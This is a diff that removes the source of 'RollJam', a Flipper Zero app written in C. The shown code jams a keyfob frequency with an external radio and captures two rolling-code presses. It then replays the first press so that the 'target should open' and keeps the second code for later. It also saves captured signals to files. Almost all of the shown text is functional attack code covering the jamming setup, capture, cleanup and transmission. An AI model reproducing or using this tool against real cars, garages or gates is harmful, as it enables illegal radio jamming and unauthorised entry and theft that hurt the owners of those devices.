int16_t s = level ? (int16_t)dur : -(int16_t)dur;
target->data[target->size++] = s;
g_cap.valid_count++;
g_cap.total_count++;
g_cap.continuous_count = 1;
}
break;
case CapRecording:
g_cap.continuous_count++;
if(g_cap.continuous_count > MAX_CONTINUOUS_SAMPLES && !is_medium_gap && !is_silence) {
target->size = 0;
cap_ctx_reset(&g_cap);
return;
}
if(target->size >= RAW_SIGNAL_MAX_SIZE) {
g_cap.state = (g_cap.valid_count >= MIN_FRAME_PULSES) ? CapDone : CapWaiting;
if(g_cap.state == CapWaiting) {
target->size = 0;
g_cap.valid_count = 0;
g_cap.total_count = 0;
g_cap.continuous_count = 0;
}
return;
}
if(is_silence) {
if(g_cap.valid_count >= MIN_FRAME_PULSES) {
if(target->size < RAW_SIGNAL_MAX_SIZE)
target->data[target->size++] = level ? (int16_t)32767 : -32767;
g_cap.state = CapDone;
} else {
target->size = 0;
cap_ctx_reset(&g_cap);
}
return;
}
if(is_medium_gap) g_cap.continuous_count = 0;
{
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
target->data[target->size++] = s;
g_cap.total_count++;
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
g_cap.valid_count++;
if(g_cap.valid_count >= AUTO_ACCEPT_PULSES)
g_cap.state = CapDone;
}
}
break;
case CapDone:
break;
}
}
// ============================================================
// Capture start/stop
// ============================================================
void rolljam_capture_start(RollJamApp* app) {
FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d offset=%lu",
app->frequency, app->mod_index, app->jam_offset_hz);
const uint8_t* src_preset;
switch(app->mod_index) {
case ModIndex_AM270: src_preset = preset_ook_270_async; break;
case ModIndex_FM238: src_preset = preset_2fsk_238_async; break;
case ModIndex_FM476: src_preset = preset_2fsk_476_async; break;
default: src_preset = preset_ook_650_async; break;
}
furi_hal_subghz_load_custom_preset(src_preset);
furi_delay_ms(5);
uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
FURI_LOG_I(TAG, "Capture: freq=%lu (requested %lu)", real_freq, app->frequency);
furi_delay_ms(5);
furi_hal_subghz_rx();
furi_delay_ms(50);
float rssi_baseline = furi_hal_subghz_get_rssi();
g_cap.rssi_baseline = rssi_baseline;
FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)rssi_baseline);
furi_hal_subghz_idle();
furi_delay_ms(5);
cap_ctx_reset(&g_cap);
if(!app->signal_first.valid) {
g_cap.target_first = true;
app->signal_first.size = 0;
app->signal_first.valid = false;
FURI_LOG_I(TAG, "Capture target: FIRST signal");
} else {
g_cap.target_first = false;
app->signal_second.size = 0;
app->signal_second.valid = false;
FURI_LOG_I(TAG, "Capture target: SECOND signal");
}
g_cap.mod_index = app->mod_index;
app->raw_capture_active = true;
furi_hal_subghz_start_async_rx(capture_rx_callback, app);
FURI_LOG_I(TAG, "Capture: RX STARTED");
}
void rolljam_capture_stop(RollJamApp* app) {
if(!app->raw_capture_active) {
FURI_LOG_W(TAG, "Capture stop: was not active");
return;
}
app->raw_capture_active = false;
furi_hal_subghz_stop_async_rx();
furi_delay_ms(5);
FURI_LOG_I(TAG, "Capture stopped. cb=%lu state=%d valid=%d total=%d",
g_cap.callback_count, g_cap.state, g_cap.valid_count, g_cap.total_count);
FURI_LOG_I(TAG, " Sig1: size=%d valid=%d", app->signal_first.size, app->signal_first.valid);
FURI_LOG_I(TAG, " Sig2: size=%d valid=%d", app->signal_second.size, app->signal_second.valid);
}
// ============================================================
// Validation
// ============================================================
bool rolljam_signal_is_valid(RawSignal* signal) {
if(g_cap.state != CapDone) {
static int check_count = 0;
check_count++;
if(check_count % 10 == 0)
FURI_LOG_D(TAG, "Validate: state=%d cb=%lu valid=%d total=%d size=%d",
g_cap.state, g_cap.callback_count,
g_cap.valid_count, g_cap.total_count, (int)signal->size);
return false;
}
if(signal->size < (size_t)MIN_FRAME_PULSES) return false;
if(rolljam_is_jammer_pattern_mod(signal, g_cap.mod_index)) {
signal->size = 0;
cap_ctx_reset(&g_cap);
return false;
}
if(!rolljam_has_sufficient_variance(signal)) {
signal->size = 0;
cap_ctx_reset(&g_cap);
return false;
}
int good = 0;
int total = (int)signal->size;
for(int i = 0; i < total; i++) {
int16_t abs_val = signal->data[i] > 0 ? signal->data[i] : -signal->data[i];
if(abs_val >= MIN_PULSE_US) good++;
}
int ratio_pct = (total > 0) ? ((good * 100) / total) : 0;
if(ratio_pct > 50 && good >= MIN_FRAME_PULSES) {
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) size=%d", good, total, ratio_pct, total);
return true;
}
FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%)", good, total, ratio_pct);
signal->size = 0;
cap_ctx_reset(&g_cap);
return false;
}
// ============================================================
// Signal cleanup
// ============================================================
void rolljam_signal_cleanup(RawSignal* signal) {
if(signal->size < (size_t)MIN_FRAME_PULSES) return;
int16_t* cleaned = malloc(RAW_SIGNAL_MAX_SIZE * sizeof(int16_t));
if(!cleaned) return;
size_t out = 0;
size_t start = 0;
while(start < signal->size) {
int16_t abs_val = signal->data[start] > 0 ? signal->data[start] : -signal->data[start];
if(abs_val >= MIN_PULSE_US) break;
start++;
}
for(size_t i = start; i < signal->size; i++) {
int16_t val = signal->data[i];
int16_t abs_val = val > 0 ? val : -val;
bool is_positive = (val > 0);
if(abs_val < MIN_PULSE_US) {
if(out > 0) {
int16_t prev = cleaned[out - 1];
bool prev_positive = (prev > 0);
int16_t prev_abs = prev > 0 ? prev : -prev;
if(prev_positive == is_positive) {
int32_t merged = (int32_t)prev_abs + abs_val;
if(merged > 32767) merged = 32767;
cleaned[out - 1] = prev_positive ? (int16_t)merged : -(int16_t)merged;
}
}
continue;
}
int32_t q = ((abs_val + 50) / 100) * 100;
if(q < MIN_PULSE_US) q = MIN_PULSE_US;
if(q > 32767) q = 32767;
if(out < RAW_SIGNAL_MAX_SIZE)
cleaned[out++] = is_positive ? (int16_t)q : -(int16_t)q;
}
while(out > 0) {
int16_t abs_last = cleaned[out-1] > 0 ? cleaned[out-1] : -cleaned[out-1];
if(abs_last >= MIN_PULSE_US && abs_last < 32767) break;
out--;
}
if(out >= (size_t)MIN_FRAME_PULSES) {
size_t orig = signal->size;
memcpy(signal->data, cleaned, out * sizeof(int16_t));
signal->size = out;
FURI_LOG_I(TAG, "Cleanup: %d -> %d samples", (int)orig, (int)out);
}
free(cleaned);
}
// ============================================================
// TX
// ============================================================
typedef struct {
const int16_t* data;
size_t size;
volatile size_t index;
} TxCtx;
static TxCtx g_tx;
static LevelDuration tx_feed(void* context) {
UNUSED(context);
if(g_tx.index >= g_tx.size) return level_duration_reset();
int16_t sample = g_tx.data[g_tx.index++];
bool level = (sample > 0);
uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
return level_duration_make(level, dur);
}
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
if(!signal->valid || signal->size == 0) {
FURI_LOG_E(TAG, "TX: no valid signal");
return;
}
FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", (int)signal->size, app->frequency);
const uint8_t* tx_src;
switch(app->mod_index) {
case ModIndex_FM238: tx_src = preset_fsk_tx_238; break;
case ModIndex_FM476: tx_src = preset_fsk_tx_476; break;
default: tx_src = preset_ook_tx; break;
}
furi_hal_subghz_load_custom_preset(tx_src);
uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
FURI_LOG_I(TAG, "TX: freq=%lu", real_freq);
furi_hal_subghz_idle();
furi_delay_ms(5);
for(int tx_repeat = 0; tx_repeat < 3; tx_repeat++) {
g_tx.data = signal->data;
g_tx.size = signal->size;
g_tx.index = 0;
if(!furi_hal_subghz_start_async_tx(tx_feed, NULL)) {
FURI_LOG_E(TAG, "TX: start failed on repeat %d!", tx_repeat);
furi_hal_subghz_idle();
return;
}
uint32_t timeout = 0;
while(!furi_hal_subghz_is_async_tx_complete()) {
furi_delay_ms(5);
if(++timeout > 2000) {
FURI_LOG_E(TAG, "TX: timeout on repeat %d!", tx_repeat);
break;
}
}
furi_hal_subghz_stop_async_tx();
FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)",
tx_repeat, (int)g_tx.index, (int)signal->size);
if(tx_repeat < 2) furi_delay_ms(50);
}
furi_hal_subghz_idle();
FURI_LOG_I(TAG, "TX: all repeats done");
}
// ============================================================
// Save
// ============================================================
void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
if(!signal->valid || signal->size == 0) {
FURI_LOG_E(TAG, "Save: no signal");
return;
}
DateTime dt;
furi_hal_rtc_get_datetime(&dt);
FuriString* path = furi_string_alloc_printf(
"/ext/subghz/RJ_%04d%02d%02d_%02d%02d%02d.sub",
dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second);
FURI_LOG_I(TAG, "Saving: %s", furi_string_get_cstr(path));
Storage* storage = furi_record_open(RECORD_STORAGE);
storage_simply_mkdir(storage, "/ext/subghz");
File* file = storage_file_alloc(storage);
if(storage_file_open(file, furi_string_get_cstr(path), FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
FuriString* line = furi_string_alloc();
furi_string_set(line, "Filetype: Flipper SubGhz RAW File\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Version: 1\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Frequency: %lu\n", app->frequency);
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
const char* pname;
switch(app->mod_index) {
case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
case ModIndex_FM238: pname = "FuriHalSubGhzPreset2FSKDev238Async"; break;
case ModIndex_FM476: pname = "FuriHalSubGhzPreset2FSKDev476Async"; break;
default: pname = "FuriHalSubGhzPresetOok650Async"; break;
}
furi_string_printf(line, "Preset: %s\n", pname);
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Protocol: RAW\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
size_t i = 0;
while(i < signal->size) {
furi_string_set(line, "RAW_Data:");
size_t end = i + 512;
if(end > signal->size) end = signal->size;
for(; i < end; i++)
furi_string_cat_printf(line, " %d", signal->data[i]);
furi_string_cat(line, "\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
}
furi_string_free(line);
FURI_LOG_I(TAG, "Saved: %d samples", (int)signal->size);
} else {
FURI_LOG_E(TAG, "Save failed!");
}
storage_file_close(file);
storage_file_free(file);
furi_record_close(RECORD_STORAGE);
furi_string_free(path);
}
@@ -1,25 +0,0 @@
#pragma once
#include "../rolljam.h"
/*
* Internal CC1101 raw signal capture and transmission.
*
* Capture: uses narrow RX bandwidth so the offset jamming
* from the external CC1101 is filtered out.
*
* The captured raw data is stored as signed int16 values:
* positive = high-level duration (microseconds)
* negative = low-level duration (microseconds)
*
* This matches the Flipper .sub RAW format.
*/
void rolljam_capture_start(RollJamApp* app);
void rolljam_capture_stop(RollJamApp* app);
bool rolljam_signal_is_valid(RawSignal* signal);
void rolljam_signal_cleanup(RawSignal* signal);
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal);
void rolljam_save_signal(RollJamApp* app, RawSignal* signal);
-21
View File
@@ -1,21 +0,0 @@
applications_user/rolljam/
├── application.fam
├── rolljam.png (icon 10x10)
├── rolljam.c
├── rolljam_icons.h
├── scenes/
│ ├── rolljam_scene.h
│ ├── rolljam_scene_config.h
│ ├── rolljam_scene_menu.c
│ ├── rolljam_scene_attack_phase1.c
│ ├── rolljam_scene_attack_phase2.c
│ ├── rolljam_scene_attack_phase3.c
│ └── rolljam_scene_result.c
├── helpers/
│ ├── rolljam_cc1101_ext.h
│ ├── rolljam_cc1101_ext.c
│ ├── rolljam_receiver.h
│ └── rolljam_receiver.c
└── views/
├── rolljam_attack_view.h
└── rolljam_attack_view.c
-232
View File
@@ -1,232 +0,0 @@
#include "rolljam.h"
#include "scenes/rolljam_scene.h"
#include "helpers/rolljam_cc1101_ext.h"
#include "helpers/rolljam_receiver.h"
#include "helpers/rolljam_cc1101_ext.h"
// ============================================================
// Frequency / modulation tables
// ============================================================
const uint32_t freq_values[] = {
300000000,
303875000,
315000000,
318000000,
390000000,
433075000,
433920000,
434420000,
438900000,
868350000,
915000000,
};
const char* freq_names[] = {
"300.00",
"303.87",
"315.00",
"318.00",
"390.00",
"433.07",
"433.92",
"434.42",
"438.90",
"868.35",
"915.00",
};
const char* mod_names[] = {
"AM 650",
"AM 270",
"FM 238",
"FM 476",
};
const uint32_t jam_offset_values[] = {
300000,
500000,
700000,
1000000,
};
const char* jam_offset_names[] = {
"300 kHz",
"500 kHz",
"700 kHz",
"1000 kHz",
};
const char* hw_names[] = {
"CC1101",
"Flux Cap",
};
// ============================================================
// Scene handlers table (extern declarations in scene header)
// ============================================================
void (*const rolljam_scene_on_enter_handlers[])(void*) = {
rolljam_scene_menu_on_enter,
rolljam_scene_attack_phase1_on_enter,
rolljam_scene_attack_phase2_on_enter,
rolljam_scene_attack_phase3_on_enter,
rolljam_scene_result_on_enter,
};
bool (*const rolljam_scene_on_event_handlers[])(void*, SceneManagerEvent) = {
rolljam_scene_menu_on_event,
rolljam_scene_attack_phase1_on_event,
rolljam_scene_attack_phase2_on_event,
rolljam_scene_attack_phase3_on_event,
rolljam_scene_result_on_event,
};
void (*const rolljam_scene_on_exit_handlers[])(void*) = {
rolljam_scene_menu_on_exit,
rolljam_scene_attack_phase1_on_exit,
rolljam_scene_attack_phase2_on_exit,
rolljam_scene_attack_phase3_on_exit,
rolljam_scene_result_on_exit,
};
const SceneManagerHandlers rolljam_scene_handlers = {
.on_enter_handlers = rolljam_scene_on_enter_handlers,
.on_event_handlers = rolljam_scene_on_event_handlers,
.on_exit_handlers = rolljam_scene_on_exit_handlers,
.scene_num = RollJamSceneCount,
};
// ============================================================
// Navigation callbacks
// ============================================================
static bool rolljam_navigation_callback(void* context) {
RollJamApp* app = context;
return scene_manager_handle_back_event(app->scene_manager);
}
static bool rolljam_custom_event_callback(void* context, uint32_t event) {
RollJamApp* app = context;
return scene_manager_handle_custom_event(app->scene_manager, event);
}
// ============================================================
// App alloc
// ============================================================
static RollJamApp* rolljam_app_alloc(void) {
RollJamApp* app = malloc(sizeof(RollJamApp));
memset(app, 0, sizeof(RollJamApp));
app->freq_index = FreqIndex_433_92;
app->frequency = freq_values[FreqIndex_433_92];
app->mod_index = ModIndex_AM650;
app->jam_offset_index = JamOffIndex_700k;
app->jam_offset_hz = jam_offset_values[JamOffIndex_700k];
app->hw_index = HwIndex_CC1101;
// Services
app->gui = furi_record_open(RECORD_GUI);
app->notification = furi_record_open(RECORD_NOTIFICATION);
app->storage = furi_record_open(RECORD_STORAGE);
// Scene manager
app->scene_manager = scene_manager_alloc(&rolljam_scene_handlers, app);
// View dispatcher
app->view_dispatcher = view_dispatcher_alloc();
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
view_dispatcher_set_custom_event_callback(
app->view_dispatcher, rolljam_custom_event_callback);
view_dispatcher_set_navigation_event_callback(
app->view_dispatcher, rolljam_navigation_callback);
view_dispatcher_attach_to_gui(
app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
// Variable item list
app->var_item_list = variable_item_list_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewVarItemList,
variable_item_list_get_view(app->var_item_list));
// Widget
app->widget = widget_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewWidget,
widget_get_view(app->widget));
// Dialog
app->dialog_ex = dialog_ex_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewDialogEx,
dialog_ex_get_view(app->dialog_ex));
// Popup
app->popup = popup_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewPopup,
popup_get_view(app->popup));
return app;
}
// ============================================================
// App free
// ============================================================
static void rolljam_app_free(RollJamApp* app) {
if(app->jamming_active) {
rolljam_jammer_stop(app);
}
if(app->raw_capture_active) {
rolljam_capture_stop(app);
}
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewVarItemList);
variable_item_list_free(app->var_item_list);
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewWidget);
widget_free(app->widget);
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewDialogEx);
dialog_ex_free(app->dialog_ex);
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewPopup);
popup_free(app->popup);
scene_manager_free(app->scene_manager);
view_dispatcher_free(app->view_dispatcher);
furi_record_close(RECORD_GUI);
furi_record_close(RECORD_NOTIFICATION);
furi_record_close(RECORD_STORAGE);
free(app);
}
// ============================================================
// Entry point
// ============================================================
int32_t rolljam_app(void* p) {
UNUSED(p);
RollJamApp* app = rolljam_app_alloc();
FURI_LOG_I(TAG, "=== RollJam Started ===");
FURI_LOG_I(TAG, "Internal CC1101 = RX capture (narrow BW)");
FURI_LOG_I(TAG, "External CC1101 = TX jam (offset +%lu Hz)", app->jam_offset_hz);
scene_manager_next_scene(app->scene_manager, RollJamSceneMenu);
view_dispatcher_run(app->view_dispatcher);
rolljam_app_free(app);
FURI_LOG_I(TAG, "=== RollJam Stopped ===");
return 0;
}
-158
View File
@@ -1,158 +0,0 @@
#pragma once
#include <furi.h>
#include <furi_hal.h>
#include <gui/gui.h>
#include <gui/view_dispatcher.h>
#include <gui/scene_manager.h>
#include <gui/modules/submenu.h>
#include <gui/modules/popup.h>
#include <gui/modules/variable_item_list.h>
#include <gui/modules/widget.h>
#include <gui/modules/dialog_ex.h>
#include <notification/notification.h>
#include <notification/notification_messages.h>
#include <storage/storage.h>
#include <stdlib.h>
#include <string.h>
#define TAG "RollJam"
#define RAW_SIGNAL_MAX_SIZE 4096
// ============================================================
// Frequencies
// ============================================================
typedef enum {
FreqIndex_300_00 = 0,
FreqIndex_303_87,
FreqIndex_315_00,
FreqIndex_318_00,
FreqIndex_390_00,
FreqIndex_433_07,
FreqIndex_433_92,
FreqIndex_434_42,
FreqIndex_438_90,
FreqIndex_868_35,
FreqIndex_915_00,
FreqIndex_COUNT,
} FreqIndex;
extern const uint32_t freq_values[];
extern const char* freq_names[];
// ============================================================
// Modulations
// ============================================================
typedef enum {
ModIndex_AM650 = 0,
ModIndex_AM270,
ModIndex_FM238,
ModIndex_FM476,
ModIndex_COUNT,
} ModIndex;
extern const char* mod_names[];
// ============================================================
// Jam offsets
// ============================================================
typedef enum {
JamOffIndex_300k = 0,
JamOffIndex_500k,
JamOffIndex_700k,
JamOffIndex_1000k,
JamOffIndex_COUNT,
} JamOffIndex;
extern const uint32_t jam_offset_values[];
extern const char* jam_offset_names[];
// ============================================================
// Hardware type
// ============================================================
typedef enum {
HwIndex_CC1101 = 0,
HwIndex_FluxCapacitor,
HwIndex_COUNT,
} HwIndex;
extern const char* hw_names[];
// ============================================================
// Scenes
// ============================================================
typedef enum {
RollJamSceneMenu,
RollJamSceneAttackPhase1,
RollJamSceneAttackPhase2,
RollJamSceneAttackPhase3,
RollJamSceneResult,
RollJamSceneCount,
} RollJamScene;
// ============================================================
// Views
// ============================================================
typedef enum {
RollJamViewVarItemList,
RollJamViewWidget,
RollJamViewDialogEx,
RollJamViewPopup,
} RollJamView;
// ============================================================
// Custom events
// ============================================================
typedef enum {
RollJamEventStartAttack = 100,
RollJamEventSignalCaptured,
RollJamEventPhase3Done,
RollJamEventReplayNow,
RollJamEventSaveSignal,
RollJamEventBack,
} RollJamEvent;
// ============================================================
// Raw signal container
// ============================================================
typedef struct {
int16_t data[RAW_SIGNAL_MAX_SIZE];
size_t size;
bool valid;
} RawSignal;
// ============================================================
// Main app struct
// ============================================================
typedef struct {
Gui* gui;
ViewDispatcher* view_dispatcher;
SceneManager* scene_manager;
NotificationApp* notification;
Storage* storage;
VariableItemList* var_item_list;
Widget* widget;
DialogEx* dialog_ex;
Popup* popup;
FreqIndex freq_index;
ModIndex mod_index;
JamOffIndex jam_offset_index;
HwIndex hw_index;
uint32_t frequency;
uint32_t jam_frequency;
uint32_t jam_offset_hz;
RawSignal signal_first;
RawSignal signal_second;
bool jamming_active;
FuriThread* jam_thread;
volatile bool jam_thread_running;
volatile bool raw_capture_active;
} RollJamApp;
Binary file not shown.

Before

Width:  |  Height:  |  Size: 220 B

@@ -1,9 +0,0 @@
#pragma once
// Icon assets are auto-generated by the build system
// from the images/ folder. If no custom icons are needed,
// this file can remain minimal.
// If you place .png files in an images/ folder,
// the build system generates icon references automatically.
// Access them via &I_iconname
@@ -1,27 +0,0 @@
#pragma once
#include "../rolljam.h"
// Scene on_enter
void rolljam_scene_menu_on_enter(void* context);
void rolljam_scene_attack_phase1_on_enter(void* context);
void rolljam_scene_attack_phase2_on_enter(void* context);
void rolljam_scene_attack_phase3_on_enter(void* context);
void rolljam_scene_result_on_enter(void* context);
// Scene on_event
bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event);
// Scene on_exit
void rolljam_scene_menu_on_exit(void* context);
void rolljam_scene_attack_phase1_on_exit(void* context);
void rolljam_scene_attack_phase2_on_exit(void* context);
void rolljam_scene_attack_phase3_on_exit(void* context);
void rolljam_scene_result_on_exit(void* context);
// Scene manager handlers (defined in rolljam.c)
extern const SceneManagerHandlers rolljam_scene_handlers;
@@ -1,126 +0,0 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_cc1101_ext.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 1: JAM + CAPTURE first keyfob press
// ============================================================
static void phase1_timer_callback(void* context) {
RollJamApp* app = context;
if(app->signal_first.size >= 20 &&
rolljam_signal_is_valid(&app->signal_first)) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured);
}
}
void rolljam_scene_attack_phase1_on_enter(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 1 / 4");
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "Starting...");
widget_add_string_element(
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
rolljam_ext_set_flux_capacitor(app->hw_index == HwIndex_FluxCapacitor);
rolljam_jammer_start(app);
furi_delay_ms(300);
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 1 / 4");
if(app->jamming_active) {
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "Jamming active...");
FURI_LOG_I(TAG, "Phase1: jammer activo en %lu Hz", app->jam_frequency);
} else {
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "No ext jammer");
FURI_LOG_W(TAG, "Phase1: sin jammer, capturando de todas formas");
}
widget_add_string_element(
app->widget, 64, 28, AlignCenter, AlignTop,
FontSecondary, "Listening for keyfob");
widget_add_string_element(
app->widget, 64, 42, AlignCenter, AlignTop,
FontPrimary, "PRESS KEYFOB NOW");
widget_add_string_element(
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
rolljam_capture_start(app);
notification_message(app->notification, &sequence_blink_blue_100);
FuriTimer* timer = furi_timer_alloc(
phase1_timer_callback, FuriTimerTypePeriodic, app);
furi_timer_start(timer, 300);
scene_manager_set_scene_state(
app->scene_manager, RollJamSceneAttackPhase1, (uint32_t)timer);
FURI_LOG_I(TAG, "Phase1: waiting for 1st keyfob press...");
}
bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSignalCaptured) {
rolljam_capture_stop(app);
if(!rolljam_signal_is_valid(&app->signal_first)) {
FURI_LOG_W(TAG, "Phase1: false capture, restarting RX...");
app->signal_first.size = 0;
app->signal_first.valid = false;
furi_delay_ms(50);
rolljam_capture_start(app);
return true;
}
rolljam_signal_cleanup(&app->signal_first);
app->signal_first.valid = true;
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
(int)app->signal_first.size);
scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase2);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
FURI_LOG_I(TAG, "Phase1: cancelled");
rolljam_capture_stop(app);
rolljam_jammer_stop(app);
scene_manager_search_and_switch_to_another_scene(
app->scene_manager, RollJamSceneMenu);
return true;
}
return false;
}
void rolljam_scene_attack_phase1_on_exit(void* context) {
RollJamApp* app = context;
FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
app->scene_manager, RollJamSceneAttackPhase1);
if(timer) {
furi_timer_stop(timer);
furi_timer_free(timer);
}
widget_reset(app->widget);
}
@@ -1,110 +0,0 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_cc1101_ext.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 2: JAM + CAPTURE second keyfob press
// ============================================================
static void phase2_timer_callback(void* context) {
RollJamApp* app = context;
if(app->signal_second.size >= 20 &&
rolljam_signal_is_valid(&app->signal_second)) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured);
}
}
void rolljam_scene_attack_phase2_on_enter(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 2 / 4");
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "1st code CAPTURED!");
widget_add_string_element(
app->widget, 64, 28, AlignCenter, AlignTop,
FontSecondary, "Still jamming...");
widget_add_string_element(
app->widget, 64, 42, AlignCenter, AlignTop,
FontPrimary, "PRESS KEYFOB AGAIN");
widget_add_string_element(
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
memset(app->signal_second.data, 0, sizeof(app->signal_second.data));
app->signal_second.size = 0;
app->signal_second.valid = false;
rolljam_capture_stop(app);
furi_delay_ms(50);
rolljam_capture_start(app);
notification_message(app->notification, &sequence_blink_yellow_100);
FuriTimer* timer = furi_timer_alloc(
phase2_timer_callback, FuriTimerTypePeriodic, app);
furi_timer_start(timer, 300);
scene_manager_set_scene_state(
app->scene_manager, RollJamSceneAttackPhase2, (uint32_t)timer);
FURI_LOG_I(TAG, "Phase2: waiting for 2nd keyfob press...");
}
bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSignalCaptured) {
rolljam_capture_stop(app);
if(!rolljam_signal_is_valid(&app->signal_second)) {
FURI_LOG_W(TAG, "Phase2: false capture, restarting RX...");
app->signal_second.size = 0;
app->signal_second.valid = false;
furi_delay_ms(50);
rolljam_capture_start(app);
return true;
}
rolljam_signal_cleanup(&app->signal_second);
app->signal_second.valid = true;
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
(int)app->signal_second.size);
rolljam_capture_stop(app);
scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase3);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
FURI_LOG_I(TAG, "Phase2: cancelled");
rolljam_capture_stop(app);
rolljam_jammer_stop(app);
scene_manager_search_and_switch_to_another_scene(
app->scene_manager, RollJamSceneMenu);
return true;
}
return false;
}
void rolljam_scene_attack_phase2_on_exit(void* context) {
RollJamApp* app = context;
FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
app->scene_manager, RollJamSceneAttackPhase2);
if(timer) {
furi_timer_stop(timer);
furi_timer_free(timer);
}
widget_reset(app->widget);
}
@@ -1,64 +0,0 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_cc1101_ext.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 3: STOP jam + REPLAY first signal
// The victim device opens. We keep the 2nd (newer) code.
// ============================================================
void rolljam_scene_attack_phase3_on_enter(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 3 / 4");
widget_add_string_element(
app->widget, 64, 18, AlignCenter, AlignTop,
FontSecondary, "Stopping jammer...");
widget_add_string_element(
app->widget, 64, 32, AlignCenter, AlignTop,
FontPrimary, "REPLAYING 1st CODE");
widget_add_string_element(
app->widget, 64, 48, AlignCenter, AlignTop,
FontSecondary, "Target should open!");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
notification_message(app->notification, &sequence_blink_green_100);
rolljam_jammer_stop(app);
furi_delay_ms(1000);
rolljam_transmit_signal(app, &app->signal_first);
FURI_LOG_I(TAG, "Phase3: 1st code replayed. Keeping 2nd code.");
notification_message(app->notification, &sequence_success);
furi_delay_ms(800);
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventPhase3Done);
}
bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventPhase3Done) {
scene_manager_next_scene(
app->scene_manager, RollJamSceneResult);
return true;
}
}
return false;
}
void rolljam_scene_attack_phase3_on_exit(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
}
@@ -1,17 +0,0 @@
#pragma once
